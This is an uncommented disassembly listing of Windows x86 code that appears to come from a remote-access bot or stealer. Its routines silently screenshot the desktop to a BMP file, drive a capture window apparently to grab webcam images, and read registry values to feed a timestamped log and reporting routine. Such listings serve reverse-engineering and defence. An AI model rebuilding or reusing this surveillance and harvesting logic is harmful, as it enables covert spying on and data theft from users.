; Attributes: bp-based frame
sub_417C78 proc near ; CODE XREF: sub_40274D+6E31p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_4D1450
mov edi, 0B8h
loc_417C8C: ; CODE XREF: sub_417C78+33j
cmp byte ptr [esi], 0
jz short loc_417CAF
push [ebp+arg_0]
push esi
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz short loc_417CAF
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_4D1FD0
jl short loc_417C8C
jmp short loc_417CF1
; ---------------------------------------------------------------------------
loc_417CAF: ; CODE XREF: sub_417C78+17j
; sub_417C78+26j
mov esi, [ebp+var_4]
imul esi, 0B8h
push ebx
push edi
lea ebx, dword_4D1450[esi]
push 0
push ebx
call sub_41E5F0
push 17h
push [ebp+arg_0]
push ebx
call sub_41E860
push 9Fh
push [ebp+arg_4]
lea eax, dword_4D1468[esi]
push eax
call sub_41E860
add esp, 24h
inc ds:dword_43C4A0
pop ebx
loc_417CF1: ; CODE XREF: sub_417C78+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_417C78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417CF8 proc near ; CODE XREF: sub_40274D+26BCp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_435B94
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40123B
add esp, 14h
xor edi, edi
mov esi, offset dword_4D1450
loc_417D22: ; CODE XREF: sub_417CF8+72j
cmp byte ptr [esi], 0
jz short loc_417D5D
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_435B80
lea eax, [ebp+var_200]
push 200h
push eax
call sub_41E6FE
push 1
push [ebp+arg_8]
lea eax, [ebp+var_200]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40123B
add esp, 2Ch
loc_417D5D: ; CODE XREF: sub_417CF8+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_4D1FD0
jl short loc_417D22
pop edi
pop esi
leave
retn
sub_417CF8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417D70 proc near ; CODE XREF: sub_401F92+320p
; sub_4022F5+B5p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
lea eax, [ebp+var_10]
push eax
call ds:dword_42B0D4 ; GetLocalTime
mov ebx, offset dword_4DA128
mov edi, 80h
mov esi, offset dword_4D6128
loc_417D92: ; CODE XREF: sub_417D70+3Dj
cmp byte ptr [ebx], 0
jz short loc_417DA9
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_41E860
add esp, 0Ch
loc_417DA9: ; CODE XREF: sub_417D70+25j
sub ebx, edi
cmp ebx, esi
jge short loc_417D92
push [ebp+arg_0]
movzx eax, [ebp+var_4]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_41E6FE
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_417D70 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417DE4 proc near ; CODE XREF: sub_4025EF+BAp
; sub_40274D+6DAAp ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
push [ebp+arg_0]
lea eax, [ebp+var_80]
push 80h
push eax
call sub_41E650
lea eax, [ebp+var_80]
push eax
call sub_417D70
add esp, 14h
leave
retn
sub_417DE4 endp
; =============== S U B R O U T I N E =======================================
sub_417E10 proc near ; CODE XREF: sub_40274D+25BDp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_4D6128
xor ecx, ecx
loc_417E17: ; CODE XREF: sub_417E10+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_4DA128
jl short loc_417E17
cmp [esp+arg_C], ecx
jnz short loc_417E45
push ecx
push [esp+4+arg_8]
push offset dword_435BE0
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_40123B
add esp, 14h
loc_417E45: ; CODE XREF: sub_417E10+19j
push offset dword_435BCC
call sub_417D70
pop ecx
retn
sub_417E10 endp
; ---------------------------------------------------------------------------
byte_417E51 db 55h, 8Dh, 6Ch ; DATA XREF: sub_40274D+266Ao
dd 0EC818C24h, 31Ch, 567C458Bh, 59456A57h, 0BD8DF08Bh
dd 0FFFFFF58h, 0FF33A5F3h, 3947D233h, 45C76455h, 806Ch
dd 70558900h, 110B889h, 1E750000h, 6075FF52h, 0FF5C858Dh
dd 1068FFFFh, 5000435Ch, 0FF58B5FFh, 98E8FFFFh, 83FFFE93h
dd 7D8014C4h, 147400DCh, 50DC458Dh, 68F8E8h, 59C08500h
dd 74704589h, 6C458903h, 7C6583h, 4D6128BEh, 7C458B00h
dd 7D6C453Bh, 3E804Ch, 7D803674h, 167400DCh, 707D83h, 458D1075h
dd 0E85650DCh, 34B3h, 5959C085h, 0FF571A74h, 858D6075h
dd 0FFFFFF5Ch, 0B5FF5056h, 0FFFFFF58h, 0FE9332E8h, 14C483FFh
dd 817C45FFh, 80C6h, 28FE8100h, 7C004DA1h, 58858DACh, 68FFFFFDh
dd 435BF4h, 6778E850h, 0F6330000h, 59647539h, 56207559h
dd 8D6075FFh, 0FFFD5885h, 858D50FFh, 0FFFFFF5Ch, 58B5FF50h
dd 0E8FFFFFFh, 0FFFE92E7h, 8D14C483h, 0FFFD5885h, 0DE850FFh
dd 0FFFFFFFEh, 0DEE85C75h, 59FFFF31h, 15FF5659h, 42B068h
db 0CCh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_417F75 proc near ; CODE XREF: sub_40274D+6F5Dp
var_484 = byte ptr -484h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = word ptr -78h
var_76 = word ptr -76h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = dword ptr -26h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 484h
push esi
push edi
xor esi, esi
push esi
push esi
push esi
push offset aDisplay ; "DISPLAY"
call ds:dword_444250 ; CreateDCA
mov edi, eax
cmp edi, esi
mov [ebp+74h+var_20], edi
jnz short loc_417FA2
xor eax, eax
jmp loc_4181AB
; ---------------------------------------------------------------------------
loc_417FA2: ; CODE XREF: sub_417F75+24j
push ebx
push 8
push edi
call ds:dword_444178 ; GetDeviceCaps
push 0Ah
push edi
mov [ebp+74h+var_C], eax
call ds:dword_444178 ; GetDeviceCaps
push 0Ch
push edi
mov [ebp+74h+var_4], eax
call ds:dword_444178 ; GetDeviceCaps
cmp eax, 8
mov [ebp+74h+var_10], eax
ja short loc_417FDC
push 18h
push edi
call ds:dword_444178 ; GetDeviceCaps
mov ebx, 100h
jmp short loc_417FDE
; ---------------------------------------------------------------------------
loc_417FDC: ; CODE XREF: sub_417F75+55j
xor ebx, ebx
loc_417FDE: ; CODE XREF: sub_417F75+65j
push edi
call ds:dword_444180 ; CreateCompatibleDC
cmp eax, esi
mov [ebp+74h+var_8], eax
jz loc_41818D
mov eax, [ebp+74h+var_C]
mov [ebp+74h+var_80], eax
mov eax, [ebp+74h+var_4]
mov [ebp+74h+var_7C], eax
mov ax, word ptr [ebp+74h+var_10]
push esi
push esi
mov [ebp+74h+var_76], ax
lea eax, [ebp+74h+var_18]
push eax
push 1
lea eax, [ebp+74h+var_84]
push eax
push edi
mov [ebp+74h+var_84], 28h
mov [ebp+74h+var_78], 1
mov [ebp+74h+var_74], esi
mov [ebp+74h+var_70], esi
mov [ebp+74h+var_6C], esi
mov [ebp+74h+var_68], esi
mov [ebp+74h+var_64], ebx
mov [ebp+74h+var_60], ebx
call ds:dword_44421C ; CreateDIBSection
cmp eax, esi
mov [ebp+74h+var_1C], eax
jz loc_418198
push eax
push [ebp+74h+var_8]
call ds:dword_44408C ; SelectObject
cmp eax, esi
jz loc_418198
cmp eax, 0FFFFFFFFh
jz loc_418198
push 0CC0020h
push esi
push esi
push edi
push [ebp+74h+var_4]
push [ebp+74h+var_C]
push esi
push esi
push [ebp+74h+var_8]
call ds:dword_444190 ; BitBlt
test eax, eax
jz loc_418198
cmp ebx, esi
jz short loc_418095
lea eax, [ebp+74h+var_484]
push eax
push ebx
push esi
push [ebp+74h+var_8]
call ds:dword_4441C0 ; GetDIBColorTable
mov ebx, eax
loc_418095: ; CODE XREF: sub_417F75+10Aj
mov edi, [ebp+74h+var_10]
imul edi, [ebp+74h+var_4]
mov ecx, [ebp+74h+var_C]
imul edi, ecx
push esi
push 80h
push 2
mov eax, ebx
shl eax, 2
mov [ebp+74h+var_C], eax
shr edi, 3
lea edx, [eax+edi+36h]
add eax, 36h
push esi
mov [ebp+74h+var_26], eax
mov eax, [ebp+74h+var_4]
push esi
push 40000000h
push [ebp+74h+arg_0]
mov [ebp+74h+var_50], eax
mov ax, word ptr [ebp+74h+var_10]
mov [ebp+74h+var_30], 4D42h
mov [ebp+74h+var_2E], edx
mov [ebp+74h+var_2A], si
mov [ebp+74h+var_28], si
mov [ebp+74h+var_58], 28h
mov [ebp+74h+var_54], ecx
mov [ebp+74h+var_4C], 1
mov [ebp+74h+var_4A], ax
mov [ebp+74h+var_48], esi
mov [ebp+74h+var_44], esi
mov [ebp+74h+var_40], esi
mov [ebp+74h+var_3C], esi
mov [ebp+74h+var_38], ebx
mov [ebp+74h+var_34], esi
call ds:dword_42B08C ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+74h+var_4], eax
jz short loc_418178
push esi
lea ecx, [ebp+74h+var_14]
push ecx
push 0Eh
lea ecx, [ebp+74h+var_30]
push ecx
push eax
call ds:dword_42B084 ; WriteFile
push esi
lea eax, [ebp+74h+var_14]
push eax
push 28h
lea eax, [ebp+74h+var_58]
push eax
push [ebp+74h+var_4]
call ds:dword_42B084 ; WriteFile
cmp ebx, esi
jz short loc_41815A
push esi
lea eax, [ebp+74h+var_14]
push eax
push [ebp+74h+var_C]
lea eax, [ebp+74h+var_484]
push eax
push [ebp+74h+var_4]
call ds:dword_42B084 ; WriteFile
loc_41815A: ; CODE XREF: sub_417F75+1CBj
push esi
lea eax, [ebp+74h+var_14]
push eax
push edi
push [ebp+74h+var_18]
push [ebp+74h+var_4]
call ds:dword_42B084 ; WriteFile
push [ebp+74h+var_4]
call ds:dword_42B004 ; CloseHandle
xor esi, esi
inc esi
loc_418178: ; CODE XREF: sub_417F75+1A1j
push [ebp+74h+var_1C]
call ds:dword_444184 ; DeleteObject
push [ebp+74h+var_8]
call ds:dword_444130 ; DeleteDC
mov edi, [ebp+74h+var_20]
loc_41818D: ; CODE XREF: sub_417F75+75j
push edi
call ds:dword_444130 ; DeleteDC
mov eax, esi
jmp short loc_4181AA
; ---------------------------------------------------------------------------
loc_418198: ; CODE XREF: sub_417F75+C6j
; sub_417F75+D8j ...
push edi
call ds:dword_444130 ; DeleteDC
push [ebp+74h+var_8]
call ds:dword_444130 ; DeleteDC
xor eax, eax
loc_4181AA: ; CODE XREF: sub_417F75+221j
pop ebx
loc_4181AB: ; CODE XREF: sub_417F75+28j
pop edi
pop esi
add ebp, 74h
leave
retn
sub_417F75 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4181B2 proc near ; CODE XREF: sub_40274D+7071p
var_38 = byte ptr -38h
var_24 = dword ptr -24h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 38h
push ebx
push esi
push edi
xor esi, esi
inc esi
push esi
push ds:dword_4DA128
xor ebx, ebx
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call ds:dword_444138
mov edi, eax
cmp edi, ebx
mov [ebp+var_4], edi
jnz short loc_4181F0
mov eax, esi
jmp loc_4183A6
; ---------------------------------------------------------------------------
loc_4181F0: ; CODE XREF: sub_4181B2+35j
push edi
call ds:dword_444084 ; IsWindow
test eax, eax
jz short loc_41820D
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call ds:dword_4441CC ; SendMessageA
jmp short loc_41820F
; ---------------------------------------------------------------------------
loc_41820D: ; CODE XREF: sub_4181B2+47j
xor eax, eax
loc_41820F: ; CODE XREF: sub_4181B2+59j
cmp eax, ebx
jnz short loc_41821A
loc_418213: ; CODE XREF: sub_4181B2+88j
; sub_4181B2+BCj
mov ebx, esi
jmp loc_41839B
; ---------------------------------------------------------------------------
loc_41821A: ; CODE XREF: sub_4181B2+5Fj
push edi
call ds:dword_444084 ; IsWindow
test eax, eax
jz short loc_418237
lea eax, [ebp+var_38]
push eax
push 2Ch
push 40Eh
push edi
call ds:dword_4441CC ; SendMessageA
loc_418237: ; CODE XREF: sub_4181B2+71j
cmp [ebp+var_24], ebx
jz short loc_418213
push edi
call ds:dword_444084 ; IsWindow
test eax, eax
mov edi, 42Ch
jz short loc_41825D
push ebx
push ebx
push edi
push [ebp+var_4]
call ds:dword_4441CC ; SendMessageA
mov [ebp+var_8], eax
jmp short loc_418260
; ---------------------------------------------------------------------------
loc_41825D: ; CODE XREF: sub_4181B2+98j
mov [ebp+var_8], ebx
loc_418260: ; CODE XREF: sub_4181B2+A9j
push [ebp+var_8]
call sub_41E5D3
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
jz short loc_418213
push [ebp+var_8]
call sub_41E5D3
mov esi, eax
cmp esi, ebx
pop ecx
jnz short loc_418287
xor ebx, ebx
inc ebx
jmp loc_41839B
; ---------------------------------------------------------------------------
loc_418287: ; CODE XREF: sub_4181B2+CBj
push [ebp+var_4]
call ds:dword_444084 ; IsWindow
test eax, eax
jz short loc_4182A4
push [ebp+var_C]
push [ebp+var_8]
push edi
push [ebp+var_4]
call ds:dword_4441CC ; SendMessageA
loc_4182A4: ; CODE XREF: sub_4181B2+E0j
push [ebp+var_8]
push [ebp+var_C]
push esi
call sub_41F400
mov ecx, [ebp+arg_8]
add esp, 0Ch
cmp ecx, ebx
jg short loc_4182BF
mov ecx, 280h
loc_4182BF: ; CODE XREF: sub_4181B2+106j
mov eax, [ebp+arg_C]
cmp eax, ebx
jg short loc_4182CB
mov eax, 1E0h
loc_4182CB: ; CODE XREF: sub_4181B2+112j
push [ebp+var_4]
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call ds:dword_444084 ; IsWindow
test eax, eax
mov edi, 42Dh
jz short loc_418315
push esi
push [ebp+var_8]
push edi
push [ebp+var_4]
call ds:dword_4441CC ; SendMessageA
loc_418315: ; CODE XREF: sub_4181B2+153j
push [ebp+var_4]
call ds:dword_444084 ; IsWindow
test eax, eax
jz short loc_418332
push ebx
push ebx
push 43Dh
push [ebp+var_4]
call ds:dword_4441CC ; SendMessageA
loc_418332: ; CODE XREF: sub_4181B2+16Ej
push [ebp+var_4]
call ds:dword_444084 ; IsWindow
test eax, eax
jz short loc_418351
push [ebp+arg_0]
push ebx
push 419h
push [ebp+var_4]
call ds:dword_4441CC ; SendMessageA
loc_418351: ; CODE XREF: sub_4181B2+18Bj
push [ebp+var_4]
call ds:dword_444084 ; IsWindow
test eax, eax
jz short loc_41836E
push [ebp+var_C]
push [ebp+var_8]
push edi
push [ebp+var_4]
call ds:dword_4441CC ; SendMessageA
loc_41836E: ; CODE XREF: sub_4181B2+1AAj
push [ebp+var_C]
call sub_41E2A1
push esi
call sub_41E2A1
pop ecx
pop ecx
push [ebp+var_4]
call ds:dword_444084 ; IsWindow
test eax, eax
jz short loc_41839B
push ebx
push ebx
push 40Bh
push [ebp+var_4]
call ds:dword_4441CC ; SendMessageA
loc_41839B: ; CODE XREF: sub_4181B2+63j
; sub_4181B2+D0j ...
push [ebp+var_4]
call ds:dword_4440F8 ; DestroyWindow
mov eax, ebx
loc_4183A6: ; CODE XREF: sub_4181B2+39j
pop edi
pop esi
pop ebx
leave
retn
sub_4181B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4183AB proc near ; CODE XREF: sub_40274D+7120p
var_94 = byte ptr -94h
var_80 = dword ptr -80h
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 94h
push ebx
push esi
push edi
xor esi, esi
inc esi
push esi
push ds:dword_4DA128
xor ebx, ebx
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call ds:dword_444138
mov edi, eax
cmp edi, ebx
jnz short loc_4183E9
mov eax, esi
jmp loc_4185E5
; ---------------------------------------------------------------------------
loc_4183E9: ; CODE XREF: sub_4183AB+35j
push edi
call ds:dword_444084 ; IsWindow
test eax, eax
jz short loc_418406
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call ds:dword_4441CC ; SendMessageA
jmp short loc_418408
; ---------------------------------------------------------------------------
loc_418406: ; CODE XREF: sub_4183AB+47j
xor eax, eax
loc_418408: ; CODE XREF: sub_4183AB+59j
cmp eax, ebx
jnz short loc_418413
loc_41840C: ; CODE XREF: sub_4183AB+8Bj
; sub_4183AB+BCj
mov ebx, esi
jmp loc_4185DC
; ---------------------------------------------------------------------------
loc_418413: ; CODE XREF: sub_4183AB+5Fj
push edi
call ds:dword_444084 ; IsWindow
test eax, eax
jz short loc_418433
lea eax, [ebp+var_94]
push eax
push 2Ch
push 40Eh
push edi
call ds:dword_4441CC ; SendMessageA
loc_418433: ; CODE XREF: sub_4183AB+71j
cmp [ebp+var_80], ebx
jz short loc_41840C
push edi
call ds:dword_444084 ; IsWindow
test eax, eax
jz short loc_418456
push ebx
push ebx
push 42Ch
push edi
call ds:dword_4441CC ; SendMessageA
mov [ebp+var_4], eax
jmp short loc_418459
; ---------------------------------------------------------------------------
loc_418456: ; CODE XREF: sub_4183AB+96j
mov [ebp+var_4], ebx
loc_418459: ; CODE XREF: sub_4183AB+A9j
push [ebp+var_4]
call sub_41E5D3
cmp eax, ebx
pop ecx
mov [ebp+var_8], eax
jz short loc_41840C
push [ebp+var_4]
call sub_41E5D3
mov esi, eax
cmp esi, ebx
pop ecx
jnz short loc_418480
xor ebx, ebx
inc ebx
jmp loc_4185DC
; ---------------------------------------------------------------------------
loc_418480: ; CODE XREF: sub_4183AB+CBj
push edi
call ds:dword_444084 ; IsWindow
test eax, eax
jz short loc_41849D
push [ebp+var_8]
push [ebp+var_4]
push 42Ch
push edi
call ds:dword_4441CC ; SendMessageA
loc_41849D: ; CODE XREF: sub_4183AB+DEj
push [ebp+var_4]
push [ebp+var_8]
push esi
call sub_41F400
mov ecx, [ebp+arg_C]
add esp, 0Ch
cmp ecx, ebx
jg short loc_4184B8
mov ecx, 0A0h
loc_4184B8: ; CODE XREF: sub_4183AB+106j
mov eax, [ebp+arg_10]
cmp eax, ebx
jg short loc_4184C2
push 78h
pop eax
loc_4184C2: ; CODE XREF: sub_4183AB+112j
push edi
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call ds:dword_444084 ; IsWindow
test eax, eax
jz short loc_418507
push esi
push [ebp+var_4]
push 42Dh
push edi
call ds:dword_4441CC ; SendMessageA
loc_418507: ; CODE XREF: sub_4183AB+14Aj
push edi
call ds:dword_444084 ; IsWindow
test eax, eax
jz short loc_418524
lea eax, [ebp+var_68]
push eax
push 60h
push 441h
push edi
call ds:dword_4441CC ; SendMessageA
loc_418524: ; CODE XREF: sub_4183AB+165j
push edi
mov [ebp+var_64], ebx
mov [ebp+var_40], ebx
mov [ebp+var_3C], ebx
mov [ebp+var_38], ebx
mov [ebp+var_34], 1
mov [ebp+var_30], 5
mov [ebp+var_68], 1046Ah
call ds:dword_444084 ; IsWindow
test eax, eax
jz short loc_418562
lea eax, [ebp+var_68]
push eax
push 60h
push 440h
push edi
call ds:dword_4441CC ; SendMessageA
loc_418562: ; CODE XREF: sub_4183AB+1A3j
push edi
call ds:dword_444084 ; IsWindow
test eax, eax
jz short loc_41857D
push [ebp+arg_0]
push ebx
push 414h
push edi
call ds:dword_4441CC ; SendMessageA
loc_41857D: ; CODE XREF: sub_4183AB+1C0j
push edi
call ds:dword_444084 ; IsWindow
test eax, eax
jz short loc_418596
push ebx
push ebx
push 43Eh
push edi
call ds:dword_4441CC ; SendMessageA
loc_418596: ; CODE XREF: sub_4183AB+1DBj
push edi
call ds:dword_444084 ; IsWindow
test eax, eax
jz short loc_4185B3
push [ebp+var_8]
push [ebp+var_4]
push 42Dh
push edi
call ds:dword_4441CC ; SendMessageA
loc_4185B3: ; CODE XREF: sub_4183AB+1F4j
push [ebp+var_8]
call sub_41E2A1
push esi
call sub_41E2A1
pop ecx
pop ecx
push edi
call ds:dword_444084 ; IsWindow
test eax, eax
jz short loc_4185DC
push ebx
push ebx
push 40Bh
push edi
call ds:dword_4441CC ; SendMessageA
loc_4185DC: ; CODE XREF: sub_4183AB+63j
; sub_4183AB+D0j ...
push edi
call ds:dword_4440F8 ; DestroyWindow
mov eax, ebx
loc_4185E5: ; CODE XREF: sub_4183AB+39j
pop edi
pop esi
pop ebx
leave
retn
sub_4183AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4185EA proc near ; CODE XREF: sub_40274D+23F1p
var_3F4 = byte ptr -3F4h
var_2F0 = byte ptr -2F0h
var_F0 = byte ptr -0F0h
var_70 = byte ptr -70h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 3F4h
push ebx
xor ebx, ebx
cmp ds:off_442AA4, ebx
mov [ebp+var_C], 80h
jz loc_418796
push esi
push edi
mov eax, offset off_442AA4
mov esi, offset dword_442AB0
mov edi, offset dword_436A1C
loc_41861A: ; CODE XREF: sub_4185EA+1A4j
lea ecx, [ebp+var_4]
push ecx
push 20019h
push ebx
push dword ptr [eax]
push dword ptr [esi-10h]
call ds:dword_444238 ; RegOpenKeyExA
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_F0]
push eax
push ebx
push ebx
push dword ptr [esi-8]
push [ebp+var_4]
call ds:dword_4440B8 ; RegQueryValueExA
test eax, eax
jnz loc_41877D
mov eax, [esi]
cmp eax, ebx
jz loc_418741
push eax
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_3F4]
push offset aSS_0 ; "%s\\%s"
push eax
call sub_41E6A6
lea eax, [ebp+var_3F4]
push offset aR ; "r"
push eax
call sub_41E54E
add esp, 18h
cmp eax, ebx
mov [ebp+var_8], eax
jz loc_41877D
push eax
jmp short loc_4186AA
; ---------------------------------------------------------------------------
loc_418695: ; CODE XREF: sub_4185EA+D0j
push dword ptr [esi+4]
lea eax, [ebp+var_70]
push eax
call sub_41F090
test eax, eax
pop ecx
pop ecx
jz short loc_4186BE
push [ebp+var_8]
loc_4186AA: ; CODE XREF: sub_4185EA+A9j
lea eax, [ebp+var_70]
push 64h
push eax
call sub_41EA5D
add esp, 0Ch
test eax, eax
jnz short loc_418695
jmp short loc_418736
; ---------------------------------------------------------------------------
loc_4186BE: ; CODE XREF: sub_4185EA+BBj
push 3Dh
push dword ptr [esi+4]
call sub_41EFD0
pop ecx
test eax, eax
pop ecx
lea eax, [ebp+var_70]
jz short loc_4186FD
push offset asc_436A18 ; "="
push eax
call sub_41E7B2
push offset asc_436A18 ; "="
push ebx
call sub_41E7B2
push eax
push dword ptr [esi-4]
lea eax, [ebp+var_2F0]
push edi
push eax
call sub_41E6A6
add esp, 20h
jmp short loc_418711
; ---------------------------------------------------------------------------
loc_4186FD: ; CODE XREF: sub_4185EA+E5j
push eax
push dword ptr [esi-4]
lea eax, [ebp+var_2F0]
push edi
push eax
call sub_41E6A6
add esp, 10h
loc_418711: ; CODE XREF: sub_4185EA+111j
push ebx
push [ebp+arg_8]
lea eax, [ebp+var_2F0]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40123B
lea eax, [ebp+var_2F0]
push eax
call sub_417D70
add esp, 18h
loc_418736: ; CODE XREF: sub_4185EA+D2j
push [ebp+var_8]
call sub_41E24B
pop ecx
jmp short loc_41877D
; ---------------------------------------------------------------------------
loc_418741: ; CODE XREF: sub_4185EA+6Aj
lea eax, [ebp+var_F0]
push eax
push dword ptr [esi-4]
lea eax, [ebp+var_2F0]
push edi
push eax
call sub_41E6A6
push ebx
push [ebp+arg_8]
lea eax, [ebp+var_2F0]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40123B
lea eax, [ebp+var_2F0]
push eax
call sub_417D70
add esp, 28h
loc_41877D: ; CODE XREF: sub_4185EA+60j
; sub_4185EA+A2j ...
push [ebp+var_4]
call ds:dword_4441E8 ; RegCloseKey
add esi, 18h
lea eax, [esi-0Ch]
cmp [eax], ebx
jnz loc_41861A
pop edi
pop esi
loc_418796: ; CODE XREF: sub_4185EA+19j
pop ebx
leave
retn
sub_4185EA endp
; ---------------------------------------------------------------------------
byte_418799 db 55h, 0B8h, 0B4h ; DATA XREF: sub_40274D+934o
dd 8D000011h, 0E88C246Ch, 6278h, 537C458Bh, 6D6A5756h
dd 8DF08B59h, 0FFFEC0BDh, 0FFA5F3FFh, 0FF336075h, 0B0B88947h
dd 8D000001h, 0FFFEC885h, 0F3E850FFh, 8B000019h, 0FFFE83F0h
dd 75895959h, 8D4E757Ch, 0FFEEC085h, 6A9868FFh, 0E8500043h
dd 5EB6h, 5D39DB33h, 7559596Ch, 75FF5318h, 0C0858D68h
dd 50FFFFEEh, 50E0458Dh, 8A2DE856h, 0C483FFFEh, 0C0858D14h
dd 50FFFFEEh, 0FFF553E8h, 6475FFFFh, 0FF2924E8h, 575959FFh
dd 122E9h, 0B6336800h, 0E8560042h, 419Ch, 59FFF883h, 8D507559h
dd 0FFEEC085h, 6A6868FFh, 0E8500043h, 5E56h, 5D39DB33h
dd 7559596Ch, 75FF5318h, 0C0858D68h, 50FFFFEEh, 50E0458Dh
dd 89CDE856h, 0C483FFFEh, 0C0858D14h, 50FFFFEEh, 0FFF4F3E8h
dd 0FF5659FFh, 44421815h, 6475FF00h, 0FF28BCE8h, 8B97EBFFh
dd 42B0143Dh, 0FF646A00h, 1000BED7h, 0DB330000h, 858D34EBh
dd 0FFFFEEC0h, 42CC6468h, 1DE85000h, 8D000066h, 0FFEEC085h
dd 0FEE850FFh, 8300003Eh, 0C0850CC4h, 646A3774h, 0A6AD7FFh
dd 0FF27A4E8h, 59C085FFh, 8D562774h, 0FFEEC085h, 0E85053FFh
dd 5D0Ch, 530CC483h, 0C0858D56h, 50FFFFEEh, 0FF7C75FFh
dd 44406415h, 7FC08500h, 0C0858DA5h, 68FFFFEEh, 436A34h
dd 5D98E850h, 5D390000h, 7559596Ch, 75FF531Ah, 0C0858D68h
dd 50FFFFEEh, 50E0458Dh, 0E87C75FFh, 0FFFE890Fh, 8D14C483h
dd 0FFEEC085h, 35E850FFh, 59FFFFF4h, 0FF7C75FFh, 44421815h
dd 6475FF00h, 0FF27FCE8h, 0FF5359FFh, 42B06815h
db 0, 0CCh
word_418956 dw 8D55h ; DATA XREF: sub_40274D+7452o
dd 818C246Ch, 0A04ECh, 7C458B00h, 6A575653h, 0F08B596Dh
dd 0FE78BD8Dh, 0A5F3FFFFh, 0DB33F633h, 6A534356h, 0B0988902h
